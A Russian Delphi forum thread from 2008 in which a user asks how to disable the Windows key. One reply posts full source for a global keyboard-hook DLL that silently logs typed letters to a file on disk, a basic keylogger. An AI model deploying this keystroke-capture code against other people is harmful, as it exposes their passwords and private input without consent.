Форум программистов
 

Восстановите пароль или Зарегистрируйтесь на форуме, о проблемах и с заказом рекламы пишите сюда - alarforum@yandex.ru, проверяйте папку спам!

Вернуться   Форум программистов > Delphi программирование > Общие вопросы Delphi
Регистрация

Восстановить пароль
Повторная активизация e-mail

Купить рекламу на форуме - 42 тыс руб за месяц

Ответ
 
Опции темы Поиск в этой теме
Старый 09.02.2008, 17:26   #1
Rahim1993
Пользователь
 
Аватар для Rahim1993
 
Регистрация: 27.12.2007
Сообщений: 67
По умолчанию Пуск

Помогите пожалуйста!
Что добавить в этот код чтобы клавища Windows не работала?
Код:
ShowWindow(FindWindow('Shell_TrayWn d', nil), SW_Hide);
И как востановить клавищу.
S.R.H.(Rahim)
Rahim1993 вне форума Ответить с цитированием
Старый 09.02.2008, 19:55   #2
mihali4
*
Старожил
 
Регистрация: 22.11.2006
Сообщений: 9,201
По умолчанию

А какая клавиша-то?
А может, вовсе и не клавиша, а кнопка "Пуск"?
У нас, вообще-то, юмор и загадки положено размещать в разделе "Свободное общение"...
Цитата:
mihali4, не придерайтесь без повода. Клавиатура - от слова клавиша. А значит кнопки на ней - это клавиши. А "Пуск" она или "Windows" это не принципиально. Есть клавы где на этой кнопке написано "Пуск", а есть и "Win"
Никогда не видел с клавишей "Пуск"...
Это уже полное извращение.

Последний раз редактировалось mihali4; 10.02.2008 в 02:33.
mihali4 вне форума Ответить с цитированием
Старый 09.02.2008, 21:29   #3
Sibedir
Тот ещё
Старожил
 
Аватар для Sibedir
 
Регистрация: 14.11.2007
Сообщений: 2,281
По умолчанию

mihali4, не придерайтесь без повода. Клавиатура - от слова клавиша. А значит кнопки на ней - это клавиши. А "Пуск" она или "Windows" это не принципиально. Есть клавы где на этой кнопке написано "Пуск", а есть и "Win"

2 Rahim1993:
http://delphiworld.narod.ru/dw.html
Цитата:
Сообщение от http://delphiworld.narod.ru/dw.html
Для того, чтобы перехватить нажатие какой-то клавиши на клавиатуре можно использовать зарегистрированную "горячую клавишу" (HotKey). Эта программа пикает при нажатии "1".
...
private
procedure WMHotKey(var Msg: TWMHotKey); message WM_HOTKEY;
...
const
MyHotKey = ord('1');

procedure TForm1.WMHotKey(var Msg: TWMHotKey);
begin
MessageBeep(0);
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
RegisterHotKey(Form1.Handle, MyHotKey, 0, MyHotKey);
end;

procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(Form1.Handle, MyHotKey);
end;
Возможно поможет, хотя сейчас еще посмотрю

Последний раз редактировалось Sibedir; 09.02.2008 в 21:38.
Sibedir вне форума Ответить с цитированием
Старый 09.02.2008, 21:41   #4
Sibedir
Тот ещё
Старожил
 
Аватар для Sibedir
 
Регистрация: 14.11.2007
Сообщений: 2,281
По умолчанию

Вот нашел
Код:
library Hook;
uses Windows, SysUtils;
const KF_UP_MY = $40000000;
var CurrentHook: HHook;
    KeyArray: array[0..19] of char;
    KeyArrayPtr: integer;
    CurFile:text;
function GlobalKeyBoardHook(code: integer; wParam: integer; lParam:
integer): longword; stdcall;
var
i:integer;
begin
  if code< 0 then
   begin
     result:=CallNextHookEx(CurrentHook,code,wParam,lparam);
     Exit;
   end;
  if ( (lParam and KF_UP_MY ) = 0) and (wParam> =65) and (wParam< =90) then
    begin
      KeyArray[KeyArrayPtr]:=char(wParam);
      KeyArrayPtr:=KeyArrayPtr+1;
      if KeyArrayPtr> 19 then
       begin
        for i:=0 to 19 do
        begin
          Assignfile(CurFile,'d:\log.txt');
          if fileexists('d:\log.txt')=false then rewrite(CurFile)
          else Append(CurFile);
          write(Curfile, KeyArray[i]);
          closefile(curfile);
        end;
        KeyArrayPtr:=0;
       end;
    end;
    CallNextHookEx(CurrentHook,code,wParam,lparam);
    result:=0;
end;
procedure SetupGlobalKeyBoardHook;
begin
  CurrentHook:=SetWindowsHookEx(WH_KEYBOARD, @GlobalKeyBoardHook,HInstance, 0);
  KeyArrayptr:=0;
end;
procedure unhook;
begin
  UnhookWindowshookEx(CurrentHook);
end;

exports
 SetupGlobalKeyBoardHook, UnHook;
begin
end.
Нужно подробнее - ищи все по теме "Хуки на клавиатуру"
Sibedir вне форума Ответить с цитированием
Старый 10.02.2008, 20:14   #5
Rahim1993
Пользователь
 
Аватар для Rahim1993
 
Регистрация: 27.12.2007
Сообщений: 67
По умолчанию

Sibedir, спасибо большое!
S.R.H.(Rahim)
Rahim1993 вне форума Ответить с цитированием
Ответ


Купить рекламу на форуме - 42 тыс руб за месяц

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск


Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Caption кнопки ПУСК (START) - изменить надпись на кнопке Пуск в Windows XP Altera Win Api 19 29.12.2011 15:49
Кнопка пуск Черничный Общие вопросы Delphi 2 07.08.2008 08:30
Кнопка Пуск vitalik007 Win Api 9 05.09.2007 08:20
аналог меню пуск RammFan Общие вопросы Delphi 14 27.02.2007 08:49